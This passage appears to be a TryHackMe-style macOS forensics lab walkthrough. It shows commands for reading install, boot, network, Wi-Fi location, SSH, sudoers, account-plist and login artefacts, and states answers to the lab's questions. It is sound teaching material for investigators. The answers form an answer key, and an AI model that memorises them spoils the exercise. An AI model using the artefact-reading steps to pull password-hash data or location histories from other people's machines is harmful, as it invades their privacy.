2025-03-09 18:08:16.026008+0400 0xef8      Default     0x0                  382    5    loginwindow: [com.apple.loginwindow.logging:Standard] -[SessionAgentNotificationCenter sendSystemBSDNotification:object:] | sendSystemBSDNotification: com.apple.system.loginwindow.delayedLoginItemsInitiated, with object:503
--------------------------------------------------------------------------------------------------------------------
Log      - Default:         15, Info:                0, Debug:             0, Error:          0, Fault:          0
Activity - Create:           0, Transition:          0, Actions:           0

Here, we can see different types of login and shutdown events in the logs and their timestamps.

Answer the questions below

When was the OS installed on the disk image present in the attached VM? Write your answer in the format: YYYY-MM-DD hh:mm:ss 2024-12-08 17:42:28

python3 << 'EOF'
import sqlite3
from datetime import datetime

conn = sqlite3.connect('/home/ubuntu/output_csv/APFS_Volumes_75799CC4-35C7-4CB5-AC2D-2DC335B7B3EF.db')
cursor = conn.cursor()

# Convert journal.plist timestamps
print("=== journal.plist timestamps ===")
created = 1737301400521058574
modified = 1737301400521108615

created_dt = datetime.utcfromtimestamp(created / 1000000000)
modified_dt = datetime.utcfromtimestamp(modified / 1000000000)

print(f"Created (UTC): {created_dt}")
print(f"Modified (UTC): {modified_dt}")

# Also convert .AppleSetupDone modified/changed
print("\n=== .AppleSetupDone timestamps ===")
created_setup = 1733678830646943873
modified_setup = 1733679748798425344

created_setup_dt = datetime.utcfromtimestamp(created_setup / 1000000000)
modified_setup_dt = datetime.utcfromtimestamp(modified_setup / 1000000000)

print(f"Created (Birth) (UTC): {created_setup_dt}")
print(f"Modified (UTC): {modified_setup_dt}")

conn.close()
EOF

=== journal.plist timestamps ===
:12: DeprecationWarning: datetime.datetime.utcfromtimestamp() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.fromtimestamp(timestamp, datetime.UTC).
:13: DeprecationWarning: datetime.datetime.utcfromtimestamp() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.fromtimestamp(timestamp, datetime.UTC).
Created (UTC): 2025-01-19 15:43:20.521059
Modified (UTC): 2025-01-19 15:43:20.521109

=== .AppleSetupDone timestamps ===
:23: DeprecationWarning: datetime.datetime.utcfromtimestamp() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.fromtimestamp(timestamp, datetime.UTC).
:24: DeprecationWarning: datetime.datetime.utcfromtimestamp() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.fromtimestamp(timestamp, datetime.UTC).
Created (Birth) (UTC): 2024-12-08 17:27:10.646944
Modified (UTC): 2024-12-08 17:42:28.798425

What is the country code for this machine? AE

cat ~/output_csv/Basic_Info.csv
INFO_TYPE,Name,Data,Description,Source
SYSTEM,macOS Version,15.1.1,Sequoia,/System/Library/CoreServices/SystemVersion.plist
SYSTEM,macOS Build Version,24B91,Sequoia,/System/Library/CoreServices/SystemVersion.plist
HARDWARE,Mac Serial Number,ZDVVLVPV3F,Hardware Serial Number,/private/var/folders/zz/zyxvpxvq6csfxvn_n00000sm00006d/C/locationd/consolidated.db
HARDWARE,Model,"VirtualMac2,1",Mac Hardware Model,/Library/Preferences/SystemConfiguration/preferences.plist
SYSTEM,ComputerName,thm’s Virtual Machine,,/Library/Preferences/SystemConfiguration/preferences.plist
SYSTEM,LocalHostName,thms-Virtual-Machine,,/Library/Preferences/SystemConfiguration/preferences.plist
PREFERENCES,Country,AE,,/Library/Preferences/.GlobalPreferences.plist
PREFERENCES,AppleLocale,en_AE,,/Library/Preferences/.GlobalPreferences.plist
TIMEZONE,TimeZone Set,US/Pacific,Timezone on machine,/private/etc/localtime
USER-LOGIN,GuestEnabled,False,,/Library/Preferences/com.apple.loginwindow.plist
USER-LOGIN,lastUserName,thm,,/Library/Preferences/com.apple.loginwindow.plist
USER-LOGIN,AccountInfo.MaximumUsers,1,Maximum number of Fast User Switching (FUS) users at the same time,/Library/Preferences/com.apple.loginwindow.plist
USER-LOGIN,AccountInfo.FirstLogins,thm,Logged in user once,/Library/Preferences/com.apple.loginwindow.plist
USER-LOGIN,AccountInfo.OnConsole,thm,Logged in user once by Fast User Switching (FUS),/Library/Preferences/com.apple.loginwindow.plist
USER-LOGIN,UseVoiceOverLegacyMigrated,True,unknown,/Library/Preferences/com.apple.loginwindow.plist
USER-LOGIN,lastUser,Restart,Last user (Login) Action,/Library/Preferences/com.apple.loginwindow.plist
USER-LOGIN,RecentUsers,['thm'],unknown,/Library/Preferences/com.apple.loginwindow.plist
USER-LOGIN,lastLoginPanic,2025-01-19 15:52:43.598148,,/Library/Preferences/com.apple.loginwindow.plist
APFS,Information,,Data below represents a combined SYSTEM & DATA volume,
APFS,Block Size (bytes),4096,Container Block size,
APFS,Container Size,19.51 GB,Container size (SYSTEM + DATA),
APFS,Volume Name,"Macintosh HD,Data","Volume names (SYSTEM, DATA)",
APFS,Volume UUID,"3B2E79F0-E4D4-4017-8443-597659F89844,84E5F2BD-503F-4E3A-8105-EEBEBC1925B4","Volume Unique Identifiers (SYSTEM, DATA)",
APFS,Size Used,11.97 GB,Space allocated  (SYSTEM + DATA),
APFS,Total Files,257456,Total number of files (SYSTEM + DATA),
APFS,Total Folders,164194,Total number of directories/folders (SYSTEM + DATA),
APFS,Total Symlinks,24049,Total number of symbolic links (SYSTEM + DATA),
APFS,Total Snapshots,0,Total number of snapshots (DATA),
APFS,Created Time,2024-12-08 17:23:31.355434,Created date and time (DATA),
APFS,Updated Time,2025-01-20 08:37:49.667839,Last updated date and time (DATA),

When was the last time this machine booted up? Write your answer as GMT in the format: YYYY-MM-DD hh:mm:ss 2025-01-19 15:47:05

Network Information

We can verify other configurations once we have confirmed that we are analysing the correct machine. In this task, let's review the artefacts that help us identify a machine's network configuration.

Network Interfaces

The information about network interfaces is in the /Library/Preferences/SystemConfiguration/NetworkInterfaces.plist file.

Network Interfaces

umair@Umairs-MacBook-Pro ~ % cat /Library/Preferences/SystemConfiguration/NetworkInterfaces.plist




	Interfaces
	
		
			Active
			
			BSD Name
			en0
			IOBuiltin
			
			IOInterfaceNamePrefix
			en
			IOInterfaceType
			6
			IOInterfaceUnit
			0
			IOMACAddress
			
			gKmXJAg/
			
			IOPathMatch
			IOService:/AppleARMPE/arm-io@10F00000/AppleH15IO/apcie@80000000/AppleT6030PCIe/pci-bridge0@0/IOPP/wlan@0/AppleBCMWLANBusInterfacePCIe/AppleBCMWLANCore/AppleBCMWLANSkywalkInterface/IOSkywalkLegacyEthernet/en0
			SCNetworkInterfaceInfo
			
				UserDefinedName
				Wi-Fi
			
			SCNetworkInterfaceType
			IEEE80211
		
		
			Active
			
			BSD Name
			en1
			IOBuiltin
			
			IOInterfaceNamePrefix
			en
			IOInterfaceType
			6
			IOInterfaceUnit
			1
			IOMACAddress
			
			NvDA4lvA
			
			IOPathMatch
			IOService:/AppleARMPE/arm-io@10F00000/AppleH15IO/acio0@1F00000/AppleThunderboltHALType5/AppleThunderboltNHIType5/IOThunderboltControllerType5/IOThunderboltLocalNode/AppleThunderboltIPService/AppleThunderboltIPPort/en1
			SCNetworkInterfaceInfo
			
				UserDefinedName
				Thunderbolt 1
			
			SCNetworkInterfaceType
			Ethernet

The tag encloses each interface type. Here, we can see two interfaces, one with the name Wi-Fi and the other with the name Thunderbolt 1. The first is a wireless interface, as seen in the SCNetworkInterfaceType key, and the second is a wired network, as the SCNetworkInterfaceType is Ethernet for it.

DHCP Settings

We can find the DHCP settings of a machine in the /private/var/db/dhcpclient/leases/en0.plist file. Here, en0 is the interface name for which we want to extract the settings.

DHCP Settings

umair@Umairs-MacBook-Pro ~ % sudo cat /private/var/db/dhcpclient/leases/en0.plist




	ClientIdentifier
	
	AbYL5Nb9rQ==
	
	IPAddress
	192.168.1.79
	LeaseLength
	86400
	LeaseStartDate
	2025-02-22T08:59:54Z
	NetworkID
	D6DEF8F1-3BD5-41B7-B5E6-9A4E8AC3B76F
	PacketData
	
	AgEGAL+fi78AAAAAAAAAAMCoAU/AqAEBAAAAALYL5Nb9rQAAAAAAAAAAAAAAAAAAAAAA
	AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
	AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
	AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
	AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEFNgTAqAEBMwQAAVGA
	AQT///8AAwTAqAEBBgTAqAEBDxBldGlzYWxhdC1nYXRld2F5fTUAAA3pMAQGNTA3RTVE
	BQtKMjIwNjAyNjk2MgYZRVRJU0FMQVQtV1JWOTUxOEJIQVgzNC1FVP8=
	
	RouterHardwareAddress
	
	qKI3Tf/l
	
	RouterIPAddress
	192.168.1.1
	SSID
	402-5G

This output shows details of the DHCP settings for the en0 interface, which was the Wi-Fi interface. We can see important information such as assigned IP address, lease length, assigned date, router IP address, and network SSID. Similarly, we can identify the details of each interface.

Wireless Connections

A lot of information about user activity can be revealed if we look at their historical wireless connections. We can check the /Library/Preferences/com.apple.wifi.known-networks.plist file to check the wireless connection history of a machine. We will get an output similar to the below terminal window:

Wireless Connections

umair@Umairs-MacBook-Pro ~ %  sudo plutil -p /Library/Preferences/com.apple.wifi.known-networks.plist 
{
  "wifi.network.ssid.2 Floor 1" => {
    "__OSSpecific__" => {
      "ChannelHistory" => [
      ]
      "CollocatedGroup" => [
      ]
      "RoamingProfileType" => "None"
      "TemporarilyDisabled" => 0
    }
    "AddedAt" => 2024-03-20 21:31:02 +0000
    "AddReason" => "Cloud Sync"
    "CaptiveProfile" => {
      "CaptiveNetwork" => 0
    }
    "Hidden" => 0
    "JoinedBySystemAtWeek" => 1211
    "JoinedByUserAt" => 2024-03-20 21:31:02 +0000
    "Moving" => 0
    "PrivateMACAddressEvaluationState" => 1
    "SSID" => {length = 9, bytes = 0x3220466c6f6f722031}
    "SupportedSecurityTypes" => "WPA/WPA2 Personal"
    "SystemMode" => 1
    "UpdatedAt" => 2024-10-04 06:36:19 +0000
  }
  "wifi.network.ssid.Accor" => {
    "__OSSpecific__" => {
      "ChannelHistory" => [
        0 => {
          "Channel" => 6
          "Timestamp" => 2024-04-29 04:56:57 +0000
        }
        1 => {
          "Channel" => 1
          "Timestamp" => 2024-04-30 04:50:05 +0000
        }
        2 => {
          "Channel" => 11
          "Timestamp" => 2024-04-30 05:59:25 +0000
        }
      ]
      "CollocatedGroup" => [
        0 => "wifi.ssid.556d616972e2809973206950686f6e65"
        1 => "wifi.ssid.464c4f4f5220342d31"
        2 => "wifi.ssid.4143434f52"
        3 => "wifi.ssid.4f6e65506c75732031302050726f"
        4 => "wifi.ssid.343032"
        5 => "wifi.ssid.50485f4755455354"
        6 => "wifi.ssid.496e646578"
        7 => "wifi.ssid.4d4153544552"
        8 => "wifi.ssid.3430322d3547"
      ]
      "RoamingProfileType" => "Multi"
      "TemporarilyDisabled" => 0
    }
    "AddedAt" => 2024-04-20 15:03:43 +0000
    "AddReason" => "WiFi Menu"
    "BSSList" => [
      0 => {
        "BSSID" => "d8:9d:67:91:aa:60"
        "Channel" => 1
        "ChannelFlags" => 10
        "DHCPServerID" => {length = 4, bytes = 0x0a100001}
        "IPv4NetworkSignature" => "IPv4.Router=10.16.0.1;IPv4.RouterHardwareAddress=02:ad:34:e3:90:0c"
        "LastAssociatedAt" => 2024-04-30 02:06:23 +0000
        "Location" => {
          "LocationAccuracy" => 151.1677743535733
          "LocationLatitude" => 24.39545439999999
          "LocationLongitude" => 54.51604842999998
          "LocationTimestamp" => 2024-04-26 03:01:59 +0000
        }
      }
      1 => {
        "BSSID" => "c8:cb:b8:9f:c3:10"
        "Channel" => 1
        "ChannelFlags" => 10
        "DHCPServerID" => {length = 4, bytes = 0x0a100001}
        "IPv4NetworkSignature" => "IPv4.Router=10.16.0.1;IPv4.RouterHardwareAddress=02:ad:34:e3:90:0c"
        "LastAssociatedAt" => 2024-04-30 04:50:05 +0000
        "Location" => {
          "LocationAccuracy" => 101
          "LocationLatitude" => 24.39516489824783
          "LocationLongitude" => 54.51665309854874
          "LocationTimestamp" => 2024-04-30 02:56:26 +0000
        }
      }
      2 => {
        "BSSID" => "b4:99:ba:91:60:30"
        "Channel" => 1
        "ChannelFlags" => 10
        "DHCPServerID" => {length = 4, bytes = 0x0a100001}
        "IPv4NetworkSignature" => "IPv4.Router=10.16.0.1;IPv4.RouterHardwareAddress=02:ad:34:e3:90:0c"
        "LastAssociatedAt" => 2024-04-30 04:50:05 +0000
        "Location" => {
          "LocationAccuracy" => 101
          "LocationLatitude" => 24.39517312192141
          "LocationLongitude" => 54.51663624712052
          "LocationTimestamp" => 2024-04-30 03:49:29 +0000
        }
      }
      3 => {
        "BSSID" => "3c:d9:2b:81:32:e0"
        "Channel" => 11
        "ChannelFlags" => 10
        "DHCPServerID" => {length = 4, bytes = 0x0a100001}
        "IPv4NetworkSignature" => "IPv4.Router=10.16.0.1;IPv4.RouterHardwareAddress=02:ad:34:e3:90:0c"
        "LastAssociatedAt" => 2024-04-30 05:59:25 +0000
      }
    ]
    "CaptiveProfile" => {
      "CaptiveNetwork" => 1
      "CaptiveWebSheetLoginDate" => 2024-04-24 02:30:50 +0000
    }
    "Hidden" => 0
    "JoinedBySystemAt" => 2024-04-30 05:59:25 +0000
    "JoinedByUserAt" => 2024-04-29 14:53:04 +0000
    "LastDiscoveredAt" => 2024-04-30 04:50:05 +0000
    "PrivateMACAddressEvaluationState" => 1
    "SSID" => {length = 5, bytes = 0x4163636f72}
    "SupportedSecurityTypes" => "Open"
    "SystemMode" => 1
    "UpdatedAt" => 2025-02-18 11:49:10 +0000
    "UserPreferredNetworkNames" => {
      "Umair’s iPhone" => 2024-04-29 14:25:37 +0000
    }
  }
}

We have shortened the above output to only two types of historical connections for brevity. Each result is enclosed in curly brackets starting with wifi.network.ssid.. If the machine we investigate is portable and the user moves around frequently, we might find many connections here. For now, let's dive into these results.

The first result we see here is 2 Floor 1. We can see information such as the date this connection was joined, the security type of the network, the last connection date, and whether the connection is a captive network (a network that asks you to log in after connecting, such as the ones found in hotels or airports).

The second result we see here has a lot more juicy information. This is a captive network, and the login date for the captive sheet can be found in the results. This network has multiple access points, indicating that this is a network inside a large building where one access point might not be enough to provide complete coverage. Each access point is logged separately; interestingly, we can also find the access point coordinates. Correlating this information with the dates of connection, we can identify if the machine was in a particular location at a specific time.

The disk image in the attached VM does not contain this artefact as that was a VM without a wireless LAN interface.

Network Usage

The unified logs can provide information about which network connections were previously connected. In a live system, we can search for logs where the senderImagePath contains IPConfiguration and the eventMessage contains SSID, Lease, or network changed.

Network Usage

umair@Umairs-MacBook-Pro ~ % log show --info --predicate 'senderImagePath contains "IPConfiguration" and (eventMessage contains "SSID" or eventMessage contains "Lease" or eventMessage contains "network changed")'                                                                                                                            
Filtering the log data using "senderImagePath CONTAINS "IPConfiguration" AND (composedMessage CONTAINS "SSID" OR composedMessage CONTAINS "Lease" OR composedMessage CONTAINS "network changed")"
Skipping debug messages, pass --debug to include.
Timestamp                       Thread     Type        Activity             PID    TTL  
2025-03-08 22:19:33.092287+0400 0x102164d  Default     0x0                  530    0    configd: (IPConfiguration) [com.apple.IPConfiguration:Server] en0: SSID 402-5G BSSID
         NetworkID 6262A8C5-88A4-4237-8EF7-4C490E59AD0D Security FT_PSK
2025-03-08 22:19:33.113262+0400 0x102164d  Default     0x0                  530    0    configd: (IPConfiguration) [com.apple.IPConfiguration:Server] en0: SSID 402-5G BSSID
           NetworkID 6262A8C5-88A4-4237-8EF7-4C490E59AD0D Security FT_PSK
.
.
.

If we are not on a live system, we can convert the output of the unified logs into CSV using Unified Log Parser and then search for the keywords like IPConfiguration, SSID, or network changed in the resulting CSV file. We can use the following command to convert the Unified logs to CSV, where system_logs.archive is the directory which contains the logs.

./unifiedlog_parser -i system_logs.logarchive -o logs/output1.csv

Please note that we need a directory named logs for this command to work. The Unified Log Parser utility is primarily compiled for macOS, so it will not work on our Linux machine.

Answer the questions below

What is the name of the machine's built-in network interface? en0

What is the IP address of the router this machine was last connected to? 192.168.64.1

python3 mac_apt.py DMG ~/mac-disk.img NETWORKING -o ~/output_network -c
Output path was : /home/ubuntu/output_network
MAIN-INFO-Started macOS Artifact Parsing Tool, version 1.12.0.dev (20250110)
MAIN-INFO-Dates and times are in UTC unless the specific artifact being parsed saves it as local time!
MAIN-INFO-Python version = 3.12.3 (main, Feb  4 2025, 14:48:35) [GCC 13.3.0]
MAIN-INFO-Pytsk  version = 20221228
MAIN-INFO-Pyewf  version = 20240506
MAIN-INFO-Pyvmdk version = 20240510
MAIN-INFO-PyAFF4 version = 0.31
MAIN-INFO-Plugins to run: NETWORKING
MAIN-INFO-Plugins not to run: 
MAIN-INFO-Opened image /home/ubuntu/mac-disk.img
MAIN-INFO-Looking at FS with volume label 'iBootSystemContainer'  @ offset 20480
MAIN-INFO-Looking at FS with volume label 'Container'  @ offset 524308480
MAIN-INFO-Found an APFS container with uuid: 75799CC4-35C7-4CB5-AC2D-2DC335B7B3EF
MAIN.HELPERS.APFS_READER-INFO-Found newer xid=2727 @ block num 78
MAIN.HELPERS.APFS_READER-INFO-Using new XID now..
MAIN-INFO-Reading APFS volumes from container, this may take a few minutes ...
MAIN.HELPERS.APFS_READER-INFO-Vol_2_Preboot Type=inode  Count=138
MAIN.HELPERS.APFS_READER-INFO-Vol_2_Preboot Type=xattr  Count=16
MAIN.HELPERS.APFS_READER-INFO-Vol_2_Preboot Type=dstream_id  Count=66
MAIN.HELPERS.APFS_READER-INFO-Vol_2_Preboot Type=file_extent  Count=80
MAIN.HELPERS.APFS_READER-INFO-Vol_2_Preboot Type=dir_rec  Count=138
MAIN.HELPERS.APFS_READER-INFO-Vol_1_Macintosh_HD Type=inode  Count=408312
MAIN.HELPERS.APFS_READER-INFO-Vol_1_Macintosh_HD Type=xattr  Count=239676
MAIN.HELPERS.APFS_READER-INFO-Vol_1_Macintosh_HD Type=sibling_link  Count=28669
MAIN.HELPERS.APFS_READER-INFO-Vol_1_Macintosh_HD Type=dstream_id  Count=116240
MAIN.HELPERS.APFS_READER-INFO-Vol_1_Macintosh_HD Type=dir_rec  Count=428646
MAIN.HELPERS.APFS_READER-INFO-Vol_1_Macintosh_HD Type=sibling_map  Count=28669
MAIN.HELPERS.APFS_READER-INFO-Vol_1_Macintosh_HD Type=file_info  Count=1160565
MAIN.HELPERS.APFS_READER-INFO-Vol_1_Macintosh_HD Type=sealed_extent  Count=276804
MAIN.HELPERS.APFS_READER-INFO-Vol_3_Recovery Type=inode  Count=27
MAIN.HELPERS.APFS_READER-INFO-Vol_3_Recovery Type=xattr  Count=3
MAIN.HELPERS.APFS_READER-INFO-Vol_3_Recovery Type=dstream_id  Count=8
MAIN.HELPERS.APFS_READER-INFO-Vol_3_Recovery Type=file_extent  Count=14
MAIN.HELPERS.APFS_READER-INFO-Vol_3_Recovery Type=dir_rec  Count=27
MAIN.HELPERS.APFS_READER-INFO-Vol_4_Update Type=inode  Count=19
MAIN.HELPERS.APFS_READER-INFO-Vol_4_Update Type=dstream_id  Count=4
MAIN.HELPERS.APFS_READER-INFO-Vol_4_Update Type=file_extent  Count=12
MAIN.HELPERS.APFS_READER-INFO-Vol_4_Update Type=dir_rec  Count=19
MAIN.HELPERS.APFS_READER-INFO-Vol_5_Data Type=inode  Count=37439
MAIN.HELPERS.APFS_READER-INFO-Vol_5_Data Type=xattr  Count=28216
MAIN.HELPERS.APFS_READER-INFO-Vol_5_Data Type=sibling_link  Count=72
MAIN.HELPERS.APFS_READER-INFO-Vol_5_Data Type=dstream_id  Count=8807
MAIN.HELPERS.APFS_READER-INFO-Vol_5_Data Type=file_extent  Count=33574
MAIN.HELPERS.APFS_READER-INFO-Vol_5_Data Type=dir_rec  Count=37502
MAIN.HELPERS.APFS_READER-INFO-Vol_5_Data Type=sibling_map  Count=72
MAIN.HELPERS.APFS_READER-INFO-Vol_6_VM Type=inode  Count=2
MAIN.HELPERS.APFS_READER-INFO-Vol_6_VM Type=dir_rec  Count=2
MAIN-INFO-Found valid OSX/macOS kernel
MAIN.HELPERS.MACINFO-INFO-macOS version detected is: Sequoia (15.1.1) Build=24B91
MAIN.HELPERS.APFS_READER-ERROR-Failed to open file as no metadata was found for it. File path=/nvram.plist
MAIN.HELPERS.APFS_READER-INFO-File not found! Path was: /nvram.plist
MAIN.HELPERS.MACINFO-ERROR-Could not open plist to get system version info!
MAIN.DISK_REPORT-INFO-Disk info
MAIN.DISK_REPORT-INFO-Disk Size   = 25.00 GB (26843545600 bytes)
MAIN.DISK_REPORT-INFO-Part Scheme = 
MAIN.DISK_REPORT-INFO-Block size  = 512 bytes
MAIN.DISK_REPORT-INFO-Num Sectors = 52428800.0 
MAIN-INFO---------------------------------------------------
MAIN-INFO-Running plugin NETWORKING
MAIN.NETWORKING-INFO-resolve.conf Content --> search etisalat-gateway
MAIN.NETWORKING-INFO-resolve.conf Content --> nameserver fe80::80a9:97ff:fe42:bf64%en0
MAIN.NETWORKING-INFO-resolve.conf Content --> nameserver 192.168.64.1
MAIN.NETWORKING-INFO-/etc/hosts Content --> 127.0.0.1	localhost
MAIN.NETWORKING-INFO-/etc/hosts Content --> 255.255.255.255	broadcasthost
MAIN.NETWORKING-INFO-/etc/hosts Content --> ::1             localhost
MAIN.NETWORKING-INFO-Model = VirtualMac2,1
MAIN.NETWORKING-INFO-Found unknown item in plist: ITEM=HiddenConfiguration VALUE=True
MAIN.NETWORKING-INFO-Found unknown data in plist at /NetworkServices/CD68CD97-E427-405E-ACB9-C91A93D2D3B4/Interface/HiddenConfiguration Value=True
MAIN-INFO---------------------------------------------------
MAIN-INFO-Finished in time = 00:01:37
MAIN-INFO-Review the Log file and report any ERRORs or EXCEPTIONS to the developers

Account Activity

Once we have verified the system and network information, we can identify the machine's users.

User Accounts and Passwords

User account and password information is stored in the file /private/var/db/dslocal/nodes/Default/users/.plist. A separate plist file for each user contains information such as creation time, failed login time, last password reset time, and failed login count. This file also includes information about the iCloud account associated with this username. One thing to note is that the time mentioned here is in Unix Epoch format.

User Account Details

umair@Umairs-MacBook-Pro ~ % sudo cat /private/var/db/dslocal/nodes/Default/users/john.plist 
bplist00?
"$&*,.02468;=?ACEGIKMOQSUWY__writers_unlockOptions_accountPolicyData_record_daemon_versionYjpegphoto_authentication_authority__writers_picture\inputSources]unlockOptions]HeimdalSRPKey__writers_AvatarRepresentationThintXrealnameTname_AvatarRepresentation__writers_UserCertificateUshell__writers_inputSources^ShadowHashData\KerberosKeysThome__writers_passwdSuid^LinkedIdentity\generateduid_altsecurityidentitiesSgidVpasswd]_writers_hint__writers_jpegphoto?john?!O?



creationTime
1739202907.2755179
failedLoginCount
0
failedLoginTimestamp
0
passwordLastSetTime
1739203049.84038


.
.
.
.

User Login History

We can find information about the last logged-in users from the /Library/Preferences/com.apple.loginwindow.plist file. In addition to that, we can also find out if a guest account is enabled.

User Login History

umair@Umairs-MacBook-Pro ~ % plutil -p /Library/Preferences/com.apple.loginwindow.plist
{
  "AccountInfo" => {
    "FirstLogins" => {
      "umair" => 1
    }
    "MaximumUsers" => 1
    "OnConsole" => {
    }
  }
  "GuestEnabled" => 0
  "lastUser" => "loggedIn"
  "lastUserName" => "umair"
  "OptimizerLastRunForBuild" => 50342784
  "OptimizerLastRunForSystem" => 251658496
  "OptimizerPreviousBuild" => "24D70"
  "RecentUsers" => [
    0 => "umair"
    1 => "john"
  ]
  "UseVoiceOverLegacyMigrated" => 1
}

We can see here that the last user in this machine is logged in, which means this information has been retrieved from a live system. The username for the previous user is umair. Furthermore, we can see that the guest account is disabled. Recently, the user john logged in to the machine apart from the user umair.

SSH Connections

The public keys of hosts connected using SSH can be found in the known hosts file. This file is located at /users//.ssh/known_hosts and contains the IP address of the host and their public keys. This is similar to how the known hosts file works in Linux.

SSHConnections

umair@Umairs-MacBook-Pro ~ % cat .ssh/known_hosts
192.168.1.152 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIF3LjWlxYPmFAJk2HDDhaLtZ997MrPiUlne4SOt79dZa
192.168.1.152 ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCQ6xJwbNGj1WfwsS8uck+0ZTH40My4t8XP3NQa2DhYYKluTS6mQfSBT9/KwKvqSMg7shYb7R9/oVIaXBNJGEkzpBh4VjAVvZJhARHdTt0/mHfYL96JNz2S53/FlkIWw8lD6AjALFpYzNcaAi6dOVjxqyw5+83KodMdYJcN2dWYan19xb9+ywhpmFqGZSzHObAw73EE85ur26gzs99+gnl+QKi+ZQ/LjFl6BE/jnTr325OgnMzq5Rux5HZxfCbDT64Sn5g/ZdjTrOEK0jFKy1d5MoC8f/5OpbpRVXUT3+6zE581w23mAjHlyzzy+lPxZfUaIzWGDu/2HLJvB2OGN3X8KCa6PKHbyq7e8V9BP0OkHrvCl+uI+gqslY+XB4nmm382G75meZ6LjQBmQ/q/KAafuITICWuRLc9oYm4JztTrUoCCq8+U9vRQjL5YUxoCyx0F2uMITXMazLVMzBqXi/YVGjgSuEK7aIk1A3fUXzJ0cpBRZIRAF+TmpOeJ02jR02M=
192.168.1.152 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOYn9Qz2HNP8A7lImD861DLKm7XTjgDRMJuk4+u3WBxZnXJv4tlx4LtEU6tFpgGquh1bTaF6Sd/nXaHtf4HEPWo=
10.10.66.165 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHcrLhTGHnTGP/sJk6y+wIpLPD1HdZi+LYRsDpxBhi4y
10.10.9.159 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJBHxUJp4QBjsmbJI+WjlYPIO9TpFHAcs+US9kKmtz6D

Privileged Accounts

Similar to Linux, accounts and groups with the privilege to use sudo are found in the /etc/sudoers file. An example can be seen in the terminal below:

Sudoers

umair@Umairs-MacBook-Pro ~ % sudo cat /etc/sudoers
#
# Sample /etc/sudoers file.
#
# This file MUST be edited with the 'visudo' command as root.
#
# See the sudoers man page for the details on how to write a sudoers file.

##
# Override built-in defaults
##
Defaults	env_reset
.
.
.
##
# Cmnd alias specification
##
# Cmnd_Alias	PAGERS = /usr/bin/more, /usr/bin/pg, /usr/bin/less

##
# User specification
##

# root and users in group wheel can run anything on any machine as any user
root		ALL = (ALL) ALL
%admin		ALL = (ALL) ALL

## Read drop-in files from /private/etc/sudoers.d
## (the '#' here does not indicate a comment)
#includedir /private/etc/sudoers.d

On this machine, users in the admin group can escalate to sudo if required. Well, as much as macOS allows, as we learned previously, there are some things that even root users can't access in macOS so that restriction remains on sudo as well.

Login and Logout Events and Logs

User login and logout events can be found in system logs and ASL. We can search for login or logout in system logs to find login events.

umair@Umairs-MacBook-Pro ~ % zgrep login system.log*
system.log.1.gz:Feb 16 11:02:56 Umairs-MacBook-Pro login[1316]: DEAD_PROCESS: 1316 ttys000
system.log.1.gz:Feb 16 11:02:59 Umairs-MacBook-Pro login[16606]: USER_PROCESS: 16606 ttys000
system.log.5.gz:Feb 12 22:02:57 Umairs-MacBook-Pro login[52696]: DEAD_PROCESS: 52696 ttys000
system.log.5.gz:Feb 12 22:03:00 Umairs-MacBook-Pro loginwindow[27045]: USER_PROCESS: 27045 console

DEAD_PROCESS shows a logout event in these logs, whereas USER_PROCESS shows a login event, followed by the process ID. Further information can be found in ASL as well. If we have converted ASL to CSV using mac_apt, we can use grep to search for login events as shown in the terminal below.

umair@Umairs-MacBook-Pro ~ % grep USER_PROCESS asl_ver2.csv
2025-01-01 15:25:18,321294000,12656,2,Umairs-MacBook-Pro,login,com.apple.system.lastlog,Notice,10000,0,20,,0,USER_PROCESS: 10000 ttys001,,"{'ut_user': 'umair', 'ut_id': 's001', 'ut_line': 'ttys001', 'ut_pid': '10000', 'ut_type': '7', 'ut_tv.tv_sec': '1735745118', 'ut_tv.tv_usec': '321236', 'SenderMachUUID': 'AA6FB408-35FB-314B-A0A6-E87CE002C71E', 'ASLExpireTime': '1767367518'}",/private/var/log/asl/BB.2026.01.31.G80.asl
2025-01-21 08:07:13,489833000,14879,2,Umairs-MacBook-Pro,login,com.apple.system.lastlog,Notice,18045,0,20,,0,USER_PROCESS: 18045 ttys000,,"{'ut_user': 'umair', 'ut_id': 's000', 'ut_line': 'ttys000', 'ut_pid': '18045', 'ut_type': '7', 'ut_tv.tv_sec': '1737446833', 'ut_tv.tv_usec': '489717', 'SenderMachUUID': 'AA6FB408-35FB-314B-A0A6-E87CE002C71E', 'ASLExpireTime': '1769069233'}",/private/var/log/asl/BB.2026.01.31.G80.asl
2025-01-21 08:16:55,482494000,14918,2,Umairs-MacBook-Pro,loginwindow,com.apple.system.lastlog,Notice,402,0,0,,0,USER_PROCESS: 402 console,,"{'ut_user': 'umair', 'ut_id': '0x2f 0x00 0x01 0x01', 'ut_line': 'console', 'ut_pid': '402', 'ut_type': '7', 'ut_tv.tv_sec': '1737447415', 'ut_tv.tv_usec': '482393', 'SenderMachUUID': 'B28C2613-1ADF-32F1-BD34-FED0143CF748', 'ASLExpireTime': '1769069815'}",/private/var/log/asl/BB.2026.01.31.G80.asl
